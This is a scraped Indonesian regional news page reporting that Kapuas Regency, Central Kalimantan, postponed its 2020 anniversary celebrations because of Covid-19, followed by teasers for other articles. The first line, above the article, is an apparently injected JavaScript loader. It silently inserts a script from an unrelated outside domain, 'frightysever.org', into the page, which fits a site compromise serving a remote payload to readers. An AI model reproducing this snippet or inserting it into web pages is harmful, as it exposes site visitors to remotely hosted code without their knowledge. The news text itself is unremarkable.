(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN. COM, KUALA KAPUAS – Pemerintah Kabupaten Kapuas, Kalimantan Tengah menunda seluruh rangkaian kegiatan Hari Jadi ke-214 Kota Kuala Kapuas dan HUT ke-69 Pemkab Kapuas.
Penundaan dilakukan guna mencegah penyebaran virus corona atau Covid-19.
“Bupati Kapuas Ben Brahim S Bahat menginstruksikan untuk melakukan penundaan seluruh kegiatan yang berhubungan dengan masyarakat banyak termasuk kegiatan-kegiatan peringatan Hari Jadi ke-214 Kota Kuala Kapuas dan HUT ke-69 Pemkab Kapuas†kata Kepala Dinas Sosial Kapuas, Budi Kurniawan, Selasa (17/3/2020).
Budi Kurniawan yang juga selaku Ketua Panitia Peringatan HUT Pemkab Kapuas menuturkan, Bupati Kapuas pada prinsipnya mengutamakan keselamatan dan kesehatan warga Kapuas, karena itulah Bupati Kapuas mengambil keputusan bahwa seluruh kegiatan untuk sementara ditunda sampai batas waktu yang belum ditentukan kemudian.
“Pertimbangan utama itu adalah menjaga kondisi kesehatan dan keselamatan masyarakat Kabupaten Kapuas. Jadi, hal itu yang diutamakan oleh pak Bupati Kapuas sebagai bentuk kepedulian beliau selaku kepala daerah dan bentuk perhatian serta tanggung jawab mengambil keputusan bahwa ini ditunda demi kondisi dan keselamatan masyarakat Kapuas tetap terjaga,†ucap Budi.
Penundaan kegiataan yang mengundang orang banyak seperti ini merupakan salah satu cara mengantisipasi pencegahan penyebaran virus Covid-19 yaitu mengurangi intensitas pertemuan-pertemuan yang melibatkan banyak orang dan menghindari kerumunan massa yang berpotensi menyebarkan penyakit.
“Seperti yang kita ketahui Kabupaten Kapuas khususnya kota Kuala Kapuas merupakan wilayah transit masyarakat yang hilir mudik dari wilayah Kalimantan Tengah maupun Kalimantan Selatan, oleh itu tentunya banyak orang yang tidak diketahui mengenai riwayatnya dan segala macam,†ujar Budi.
“Untuk itu diharapkan masyarakat dapat memahami kebijakan yang diambil oleh Bupati Kapuas ini, semata-mata tujuannya adalah demi kepentingan keselamatan orang banyak khususnya masyarakat Kabupaten Kapuas,†pungkas Budi Kurniawan. (kanalkalimantan.com/ags)
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More
KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More
This website uses cookies.